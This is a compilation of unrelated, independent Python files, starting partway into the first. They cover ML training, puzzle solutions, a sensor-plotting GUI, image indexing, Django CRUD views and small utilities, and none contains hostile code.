    # 初始化模型参数
    model = Model(ecg_net, loss_fn=loss, optimizer=optimizer, metrics={'accuracy'})
    # 训练网络模型
    model.train(10, dataset, callbacks=[ckpoint, LossMonitor(args.lr, args.per_print_times)])

def parse_args():
    """parse_args"""
    parser = argparse.ArgumentParser(description='train')
    parser.add_argument('--graph_mode', default=True, type=bool)
    parser.add_argument('--device_target', default='GPU', choices=['CPU', 'GPU', 'Ascend'], type=str)
    parser.add_argument('--data_path', default="/home/hujingsong/my_ecg/src/dataset/30X_eu_MLIII.csv", type=str)
    parser.add_argument('--label_path', default="/home/hujingsong/my_ecg/src/dataset/30Y_eu_MLIII.csv", type=str)
    parser.add_argument('--batch_size', default=128, type=str)
    parser.add_argument('--momentum', default=0.7, type=str)
    parser.add_argument('--lr', default=0.003, type=str)
    parser.add_argument('--weight_decay', '--wd', default=1e-6, type=float)
    parser.add_argument('--save_checkpoint_steps', default=1000, type=str)
    parser.add_argument('--keep_checkpoint_max', default=10, type=str)
    parser.add_argument('--checkpoint_dir', default="/home/hujingsong/my_ecg/save/", type=str)
    parser.add_argument('--per_print_times', default=100, type=str)
    return parser.parse_args(args=[])

if __name__ == "__main__":
    main(parse_args())


class Solution:
    def moveZeroes(self, nums):
        """
        Do not return anything, modify nums in-place instead.
        """
        i = 0
        while True:
            if 0 in nums:
                i += 1
                nums.remove(0)
                continue
            break
        for j in range(i):
            nums.append(0)


"""
Purpose: Advent of Code challenge
Day: 19
Date created: 2020-12-19
URL: https://adventofcode.com

Contributor(s):
    Mark M.
"""

import re

try:
    from functools import cache
except ImportError:
    from functools import lru_cache as cache
import itertools as ittr

from utils import current_file, day_number, get_lines, read_data

# If testing, set DEBUG to True for a smaller data set.
DEBUG: bool = True

# Import data
if DEBUG:
    raw_data = """0: 4 1 5
        1: 2 3 | 3 2
        2: 4 4 | 5 5
        3: 4 5 | 5 4
        4: "a"
        5: "b"

        ababbb
        bababa
        abbbab
        aaabbb
        aaaabbb"""

else:
    # Current file filepath
    thisfile = current_file(__file__)

    # AOC day number
    DAY_NO: int = day_number(thisfile.stem)

    raw_data = read_data(f"day-{DAY_NO}-input.txt")

# raw_data = read_data(f"day-19-input.txt")

# Split data into lines for further processing.  Skip any missing or blank lines.
# raw_data = re.sub(r'"', "", raw_data)
# try:
#     data = list(map(int, get_lines(raw_data)))
# except ValueError:
#     pass
# finally:
#     data = get_lines(raw_data)

# Get messages to test
# raw_data = re.sub(r"\n\s+", "\n", raw_data)
# messages = [i for i in data if i.startswith(("a","b",))]
# data = [i for i in data if not i in messages]
# data1 = "\n".join(data)
# data, messages = re.split(r"\n(?:[ab])", raw_data, maxsplit=1)
# ddict = dict(re.split(r":\s+", line) for line in data.splitlines())

# p = re.compile(r":\s+") # Previous regex
# sequence = re.split(r"\s+", p.split(data[0])[1])
# ddict = {p.split(line)[0]:p.split(line)[1] for line in data}

# def create_data_dict(iterable):
#     p = re.compile(r"(\d+):\s+(.+)")

#     out = {}
#     for line in iterable:
#         res = p.search(line)
#         if res:
#             k, v = res.groups()
#             if "|" in v:
#                 out[k] = []
#                 for el in re.split(r"\s+[|]\s+", v):
#                     out[k].append(re.split(r"\s+", el))
#             elif v.isalpha():
#                 out[k] = v
#             else:
#                 out[k] = re.split(r"\s+", v)

#     # Sort values; Convert keys into integers for proper sorting (ascending or descending)
#     return dict(sorted(out.items(), key=lambda q: int(q[0]), reverse=False))

# ddict = create_data_dict(data)
# letterdict = {int(k):v for k, v in ddict.items() if v in ("a", "b",)}

# Test method
raw_data = raw_data.replace("\r\n", "\n")
raw_data = re.sub(r'"', "", raw_data)
data, msgs = re.split(r"\n\n", raw_data, maxsplit=1)
ddict = dict(re.split(r":\s+", line) for line in data.split("\n"))

messages = msgs.split("\n")

####################################
######### --- Part 1 --- ###########
####################################

@cache(maxsize=None)
def isvalid(el):
    # if '"' in el:
    if el.isalpha():
        return set(el)
    if "|" in el:
        return set.union(*map(isvalid, re.split(r"\s+[|]\s+", el)))
    if " " in el:
        tmp = el.strip().split(" ")
        if len(tmp) == 2:
            l, r = tmp
            return set(x + y for x, y in ittr.product(isvalid(l), isvalid(r)))
        elif len(tmp) == 3:
            l, m, r = tmp
            return set(x + y + z for x, y, z in ittr.product(isvalid(l), isvalid(m), isvalid(r)))
    return isvalid(ddict[el])

# How many messages completely match rule 0?

result  = sum([1 if line in isvalid(ddict["0"]) else 0 for line in messages])
print(f"Part 1: Number of messages that match rule 0: {result}")

####################################
######### --- Part 2 --- ###########
####################################

# import sys
# # print(sys.getrecursionlimit())
# sys.setrecursionlimit(sys.getrecursionlimit() * 4)

to_update = {"8": "42 | 42 8", "11": "42 31 | 42 11 31"}
for k, v in to_update.items():
    ddict[k] = v

isvalid.cache_clear()

result = 0
for msg in messages:
    tmp = "".join(str(int(msg[i:i+8] in isvalid(ddict["42"]))) for i in range(0, len(msg), 8))
    if (tmp.count("1") > tmp.count("0")) and "10" in tmp and not "01" in tmp:
        result += 1

print(f"Part 2: Number of messages that match rule 0: {result}")


import threading                    # для многопоточности
import serial                           # http://asvetlov.blogspot.ru/2010/11/1.htmlhttp://asvetlov.blogspot.ru/2010/11/1.html
from tkinter.ttk import *           # для combobox
import random
import time
from tkinter.filedialog import *    # для окна приложения и для TK()
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg
import matplotlib.pyplot as plt                  # для анимации
import matplotlib.animation as animation            # для анимации
import numpy as np
from matplotlib.figure import Figure

# метка времни              !!ПЕРЕД ФУНКЦИЯМИ
time_stump_csv = time.strftime('%Y_%m_%d %H:%M:%S')    # год_месяц_день_час_минута_сек
time_stump_filename = time.strftime('%Y_%m_%d')        # год_месяц_день

# создание окна программы
root = Tk()
# root.minsize(width=700, height=600)
root.title('ПТИ')

# создание контенера для кнопок, комбобокса и т.д.
labelTop = LabelFrame(root, text='')
labelTop.grid(column=0, row=2)
# labelFrame.place(x=200, y=70)
Label(labelTop, text='частота обновления, с').grid(column=1, row=2)

# создание контенера для графика ТЕМПЕРАТУРА
labelGrath_T = LabelFrame(root, text='')
labelGrath_T.grid(column=0, row=0)

# создание контенера для графика ВЛАЖНОСТЬ
labelGrath_H = LabelFrame(root, text='')
labelGrath_H.grid(column=0, row=1)

# создание списка частоты записи
spisok_t = [1, 5, 10, 60, 600]        # выбор частоты записи
menu_sec = Combobox(labelTop, values=spisok_t, width=2, height=11)
menu_sec.grid(column=2, row=2)
menu_sec.insert(0, spisok_t[0])     # по дефолту ставим 60 сек

# создание 1 графика ТЕМПЕРАТУРА
fig, ax, = plt.subplots()     # создание октивного окна (fig) и области построение графиков (ax)
line_T, = ax.plot([], [], color='blue', ls='solid', lw=1.5)          # линия для графика Температуры
ax.grid()
# ax.pack()
fig.set_size_inches(6.0, 2.0)
ax.set_title('Температура')                 # название графика
ax.set_xlabel('время')                       # название оси
# ax.set_ylabel('температура')
xdata_T, ydata_T = [], []                   # массив данных для X и Y для 1 графика
ax.set_ylim(10, 40)  # лимиты по оси Y
ax.set_xlim(0, 60)  # лимиты по оси Y
time_template = 'Time = %.1f s'
time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)

# отрисовка осей и подписей к 1 графику
canvas = FigureCanvasTkAgg(fig, master=labelGrath_T)
canvas.show()
canvas.get_tk_widget().pack(side=TOP, fill=BOTH, expand=1)   # положение окна с осями
time_template = 'Время = %.1f c'                             # вставка текста в график
temp_template = 'Температура = %.1f C'                             # вставка текста в график
time_text = ax.text(0.5, 0.5, '', transform=ax.transAxes)   # вставка текста в график
temp_text = ax.text(0.5, 0.3, '', transform=ax.transAxes)   # вставка текста в график

# создание 2 графика ВЛАЖНОСТЬ
fig1, ax1, = plt.subplots()     # создание октивного окна (fig) и области построение графиков (ax)
line_H = ax1.plot([], [], color='blue', ls='solid', lw=1.5)
ax1.grid()
fig1.set_size_inches(6.0, 2.0)
ax1.set_title('Влажность')                 # название графика
ax1.set_xlabel('время')                       # название оси
# ax1.set_ylabel('температура')
x1data_H, y1data_H = [], []
ax1.set_ylim(20, 80)  # лимиты по оси Y
ax1.set_xlim(0, 60)  # лимиты по оси Y

# отрисовка осей и подписей к 2 графику
canvas1 = FigureCanvasTkAgg(fig1, master=labelGrath_H)
canvas1.show()
canvas1.get_tk_widget().pack(side=TOP, fill=BOTH, expand=1)   # положение окна с осями

# функция запуска ПТИ
def start():
    data_temp = 25 + random.randint(-5, 5)
    data_vlag = 50 + random.randint(-10, 10)
    data = 'кенгш' + str(data_temp) + 'рррytgherr' + str(data_vlag) + 'ytg' +'\0' # длина должна быть - 31
    # ani = animation.FuncAnimation(fig, run, data_gen, blit=False, interval=int(menu_sec.get()),
    #                               repeat=False, init_func=init)
    # threading.Timer(int(menu_sec.get()), start).start()
    return (data_vlag, data_temp)

# функция запуска ПТИ в сом порт
def start_com():
    # PTI_COM.open()
    data_temp = 25 + random.randint(-5, 5)
    data_vlag = 50 + random.randint(-10, 10)
    data = 'кенгш' + str(data_temp) + 'рррytgherr' + str(data_vlag) + 'ytg' +'\0' # длина должна быть - 31
    # PTI_COM.write(data.encode('utf-8'))             # отправляем в COM порт
    # PTI_COM.close()
    threading.Timer(int(menu_sec.get()), start_com).start()

# функция закрытия приложения
def quit():
    # PTI_COM.close()
    root.quit()  # stops mainloop
    root.destroy()  # this is necessary on Windows to prevent
    # Fatal Python Error: PyEval_RestoreThread: NULL tstate

# функция для начального состояния графика
def init():
    del xdata_T[:]                        # очистка массива исходных данных для X для 1 графика
    del ydata_T[:]                        # очистка массива исходных данных для Y для 1 графика
    # del xdata_2[:]                      # очистка массива исходных данных для X для 2 графика
    # del ydata_2[:]                      # очистка массива исходных данных для Y для 2 графика
    # line_T.set_data(xdata_T, ydata_T)         # в качестве данных для 1 графика будут xdata и ydata
    # line_2.set_data(xdata_2, ydata_2)     # в качестве данных для 1 графика будут xdata и ydata
    return line_T

# функция для обновления данных для графика
def run(data):
    print(data)
    # update the data
    # t, y, y_2 = data
    t, y, = data                          # связан с выходом функции data_gen  yield t, (cnt)
    xdata_T.append(t)
    ydata_T.append(y)
    time_text.set_text(time_template % (t))
    # xdata_2.append(t)
    # ydata_2.append(y_2)
    xmin, xmax = ax.get_xlim()              # изменение масштаба по оси Х во времени
    if t >= xmax:
        ax.set_xlim(xmin+60, xmax+60)
        ax.figure.canvas.draw()
    line_T.set_data(xdata_T, ydata_T)
    # line_2.set_data(xdata_2, ydata_2)
    return line_T,

# функция генерации данных для графика
pause = False
def data_gen(t=0):
    data_gen_T = 0
    while data_gen_T < 1000:
        if not pause:
            data_gen_T = np.random.randint(10, 30)
            # cnt_2 = np.random.randint(30, 80)
            t += 1
            # lab_vlag.config(text=cnt)
            # lab_temp.config(text=cnt_2)
            # yield t, np.sin(2*np.pi*t) * np.exp(-t/10.)
        yield t, data_gen_T                                       # на выходе время и значение температуры

# функция оставноки анимации графика
def onClick(event):
    global pause
    pause ^= True

fig.canvas.mpl_connect('button_press_event', onClick)     # остановка анимации графика
ani = animation.FuncAnimation(fig, run, data_gen, blit=False, interval=1000,
                               repeat=False, init_func=init)                        # анамация графика

# вывод кнопок в окно приложения
B1 = Button(labelTop, text="Cтарт", command=start)
B1.grid(column=0, row=0)          # pack() - по цетру размещает

# вывод кнопок в окно приложения
B1 = Button(labelTop, text="Cтоп", command=pause)
B1.grid(column=0, row=0)          # pack() - по цетру размещает

# вывод кнопки Закрыть  в окно приложения
B2 = Button(labelTop, text='Закрыть', command=quit)
B2.grid(column=1, row=0)

# вывод кнопки Закрыть  в окно приложения
B3 = Button(labelTop, text='Старт_COM3', command=start_com)
B3.grid(column=2, row=0)

root.mainloop()


import json
import copy
import random
import argparse
import pdb

def parse_args():
    parser = argparse.ArgumentParser('Random down-sample json file', add_help=False)
    parser.add_argument('--input_file', default='instances_train2017.json', type=str)
    parser.add_argument('--sample_num', default=None, type=int)
    parser.add_argument('--sample_rate', default=0.01, type=float)

    args = parser.parse_args()
    return args

if __name__ == "__main__":
    args = parse_args()
    assert None in [args.sample_num, args.sample_rate], \
        "args.sample_num and args.sample_rate are mutually exclusive args"

    # load data
    print('loading data')
    dataset = json.load(open(args.input_file, 'r'))
    total_sample = len(dataset['images'])

    # get sample ids
    print('generating smaple ids')
    imgid_list = range(total_sample)
    sample_num = int(total_sample * args.sample_rate) \
        if args.sample_num is None else args.sample_num
    sample_ids = random.sample(imgid_list, sample_num)

    # create sampled dataset
    print('sampling {} / {} images'.format(sample_num, total_sample))
    dataset_new = copy.deepcopy(dataset)
    dataset_new['images'] = [dataset['images'][idx] for idx in sample_ids]
    assert len(dataset_new['images']) == sample_num

    # save file
    output_file = args.input_file.replace('.json', '_sample{}.json').format(sample_num)
    print('saving to {}'.format(output_file))
    with open(output_file, 'w') as f:
        json.dump(dataset_new, f)


import os
import pickle as pkl
from glob import glob
from typing import Optional

import cv2
import faiss
import numpy as np
from tqdm import tqdm

SIFT_DIMENSIONS = 128
NUM_FEATURES = 100
DEST_HEIGHT = 512

class KeypointModel:
    index: Optional[faiss.IndexIDMap]

    def __init__(self, bottle_path, dimensions=SIFT_DIMENSIONS, features=NUM_FEATURES):
        self.dimensions = dimensions
        self.features = features
        self.bottle_path = bottle_path
        self.index = None
        self.sift = None
        self.index_dict = dict()

    def prepare(self, new_index=True):
        if new_index:
            self.index = faiss.index_factory(SIFT_DIMENSIONS, "IDMap,PCA128,IVF2048,PQ16")
        else:
            self.index = faiss.read_index('cache/keypoints.index')
            with open('cache/keypoints_map.pkl', 'rb') as f:
                self.index_dict = pkl.load(f)
        if faiss.get_num_gpus() > 0:
            print("FAISS Indexing on GPU")
            self.index = faiss.index_cpu_to_all_gpus(self.index)
        self.sift = cv2.SIFT_create(nfeatures=NUM_FEATURES)

    def train_index(self):
        ids_length = 0
        index_dict = dict()
        ids = None
        features = np.matrix([])
        files = glob(os.path.join(self.bottle_path, '*.png')) + glob(os.path.join(self.bottle_path, '*.jpg'))
        print(f'{len(files)} bottle images to index')

        for bottle_file in tqdm(files):
            bottle_sku = bottle_file[bottle_file.rindex(os.path.sep) + 1:bottle_file.rindex('-')]
            error, feature = self.compute_sift_descriptors(bottle_file)
            if error != 0 or not feature.any():
                continue
            index_dict.update({
                ids_length: bottle_sku
            })
            ids_list = np.linspace(ids_length, ids_length, num=feature.shape[0], dtype=np.int64)
            ids_length += 1
            if ids is None:
                features = feature
                ids = ids_list
            else:
                ids = np.hstack((ids, ids_list))
                features = np.vstack((features, feature))

        print("Done computing sift features for all images, training index")
        if not features.any():
            return

        if self.index.is_trained:
            return

        self.index.train(features)
        print("Trained the index on all features")
        self.index.add_with_ids(features, ids)
        print("Added all features to the index")
        if not os.path.exists('cache'):
            os.mkdir('cache')
        faiss.write_index(self.index, 'cache/keypoints.index')
        self.index_dict.update(index_dict)
        with open('cache/keypoints_map.pkl', 'wb') as f:
            pkl.dump(self.index_dict, f)

    def compute_sift_descriptors(self, image):
        parsed = image
        if isinstance(image, str):
            parsed = cv2.imread(image, cv2.IMREAD_COLOR)

        # height, width = parsed.shape[:2]
        # scale = DEST_HEIGHT / height
        # if scale != 1:
        #     # TODO: Confirm necessary considering scale invariance
        #     parsed = cv2.resize(parsed, (int(height * scale), int(width * scale)))

        gray_cvt = cv2.cvtColor(parsed, cv2.COLOR_BGR2GRAY)
        kp, des = self.sift.detectAndCompute(gray_cvt, None)
        feature_matrix = np.matrix(des)

        # Error code, keypoint descriptor matrix
        return 0, feature_matrix

    def search(self, ids, features, k=1):
        results = []
        for id_, feature in zip(ids, features):
            scores, neighbours = [], []
            if feature.size > 0:
                scores, neighbours = self.index.search(feature, k=k)

            num_results, num_dimension = neighbours.shape
            result_dict = dict()
            for i in range(num_results):
                unique = np.unique(neighbours[i]).tolist()
                for f_id in unique:
                    if f_id == -1:
                        continue
                    result_dict[f_id] = result_dict.get(f_id, 0) + 1

            best_match = None
            max_score = 0
            for r_id in result_dict:
                score = result_dict[r_id]
                if score <= max_score:
                    continue
                best_match = r_id
                max_score = score

            results.append(best_match)
        return results

def get_bottle_crop(image, model):
    if image.shape[2] == 4:
        image = cv2.cvtColor(image, cv2.COLOR_BGRA2BGR)
    results = model.detect([image])
    if len(results) == 0:
        return
    r = results[0]
    if 'scores' not in r or len(r['scores']) == 0:
        return image
    contours = []
    for mask_idx in range(len(r['scores'])):
        contour = []
        mask = r['masks'][:, :, mask_idx]
        for row_index, row in enumerate(mask):
            for mask_index, mask_value in enumerate(row):
                if mask_value:
                    contour.append((mask_index, row_index))
        contour = np.array(contour)
        contours.append(contour)
    cv2.imshow('clean', image)
    cv2.drawContours(image, contours, -1, 255, -1)
    cv2.imshow('contours', image)
    cv2.waitKey()
    best_score_idx = np.argmax(r['scores'])
    mask = r['masks'][:, :, best_score_idx]
    contour = []
    for row_index, row in enumerate(mask):
        for mask_index, mask_value in enumerate(row):
            if mask_value:
                contour.append((mask_index, row_index))
    contour = np.array(contour)
    mask_crop = np.zeros_like(image)
    cv2.drawContours(mask_crop, [contour], 0, 255, -1)
    out = np.zeros_like(image)
    out[mask, :] = image[mask, :]
    x, y, w, h = cv2.boundingRect(contour)
    return out[y:y + h, x:x + w]


# 6. Liczenie wartości funkcji podanej z klawiatury np. (x*x+2x+4 lub 1/(x+1)) (wykorzystać funkcję eval())
# oraz zapisanie do pliku wzoru oraz wartości x, y dla 500 elementów od 0 do 50 o kroku 0.1.
# Jeżeli będzie dzielenie przez zero to należy obsłużyć błąd i zamknąć plik.
if __name__ == "__main__":
    tekst = open("wyniki_funkcja", "w")
    tekst.write("x*x+2x+4")
    for i in range(500):
        x = i * 0.1
        m = eval("x * x + 2 * x + 4")
        tekst.write("\n" + str(m))
    tekst.close()


import plotly.graph_objects as go

def plot_44SMA(data, title):
    fig = go.Figure()
    fig.add_trace(go.Candlestick(x=data.index, open=data['Open'],
                                 high=data['High'], low=data['Low'], close=data['Close'], name='Daily'))

    fig.add_trace(go.Scatter(y=data['Close'].rolling(44).mean(), x=data.index, name='44 SMA'))
    fig.update_layout(title=title, width=2400, height=1000)
    return fig


#!/usr/bin/env python3
# _*_ coding: utf-8 _*_

import json

class objectview(object):
    def __init__(self, d):
        self.__dict__ = d

#base_path = '/home/pi/monitor'
base_path = ''
with open('{}/config.json'.format(base_path), 'r') as f:
    config = json.load(f)
    #print(config)

Config = objectview(config)


from django.shortcuts import render, redirect
from .forms import RequestForm
from .models import Requests

# Create your views here.
def requests_list(request):
    context = {'request_list': Requests.objects.all()}
    return render(request, "solicitud_register/request_list.html", context)

def request_form(request, id = 0):
    if request.method == "GET":
        if id == 0:
            form = RequestForm()
        else:
            req = Requests.objects.get(pk = id)
            form = RequestForm( instance = req )
        return render(request, "solicitud_register/request_form.html", { 'form': form })
    else:
        if id == 0:
            form = RequestForm(request.POST)
        else:
            req = Requests.objects.get(pk = id)
            form = RequestForm(request.POST, instance = req)
        if form.is_valid():
            form.save()
        return redirect('/request/list')

def requests_delete(request, id):
    req = Requests.objects.get(pk = id)
    req.delete()
    return redirect('/request/list')


"""Used for getting all the keys and file paths for images"""
import os

allowed_formats = ['jpg', 'png', 'bmp', 'gif']
os.chdir('.')

def get_images() -> dict:

    all_images = {}
    for root, dirs, files in os.walk('images'):
        for file_name in files:
            file_path = f'{root}/{file_name}'.replace('\\', '/')
            key = '/'.join(file_path.split('/')[1:])
            key, file_format = key.split('.')
            if file_format in allowed_formats:
                all_images[key] = file_path
                print(f'Loaded {file_path} as {key}')
    return all_images


import sys
input = sys.stdin.readline
INF = 100000

# 교차로의 수
n = int(input())
cycle = False
# 배열 초기화
cross = [[INF for _ in range (n)] for _ in range (n)]

for i in range (n-1):
    m = int(input()) #i번 교차로와 연결된 교차로의 수
    c = list(map(int, input().split())) #i번째에서 갈 수 있는 교차로의 번호
    for j in c:
        cross[i][j-1] = 1

# 내가 i -> j로 갔는데 or i -> k -> j
# j -> i로 갈 수 있으면 or j -> k -> i

# 거쳐가는 노드
for k in range (n):
    # 시작 노드
    for i in range (n):
        # 도착 노드
        for j in range (n):
            if (cross[i][j] > cross[i][k] + cross[k][j]):
                cross[i][j] = cross[i][k] + cross[k][j]

for i in range (n):
    for j in range (n):
        # 나와 연결되어 있고,
        if 0<cross[0][j]<INF:
            # 얘네들끼리 cycle이 있다면
            if (0<cross[i][j]<INF and 0<cross[j][i]<INF):
                cycle = True
                break

if cycle == True:
    print ("CYCLE")
else:
    print("NO CYCLE")


import sys

import parse_cdd_html
import parser_constants
import parser_helpers

def do_create_table_from_html_file(full_cdd_html_file_in, table_file_name_out, is_keep_section_headers=False):
    key_to_full_requirement_text_local_, cdd_requirements_file_as_string_, section_to_section_data_ = parse_cdd_html.parse_cdd_html_to_requirements(
        full_cdd_html_file_in)
    parse_cdd_html.create_full_table_from_cdd(key_to_full_requirement_text_local_, key_to_full_requirement_text_local_,
                               section_to_section_data_,
                               table_file_name_out, parser_constants.cdd_info_only_header, is_keep_section_headers)
    return table_file_name_out

def main(argv):

   local_html_file_name_in = parser_helpers.get_users_file_name(sys.argv,1,"Enter the path to the HTML file to parse.")
   local_table_file_name_out = parser_helpers.get_users_file_name(sys.argv,2,"Enter the name of the table output file")

   return do_create_table_from_html_file(local_html_file_name_in, local_table_file_name_out)

if __name__ == '__main__':
    created_table_file_name= main(sys.argv)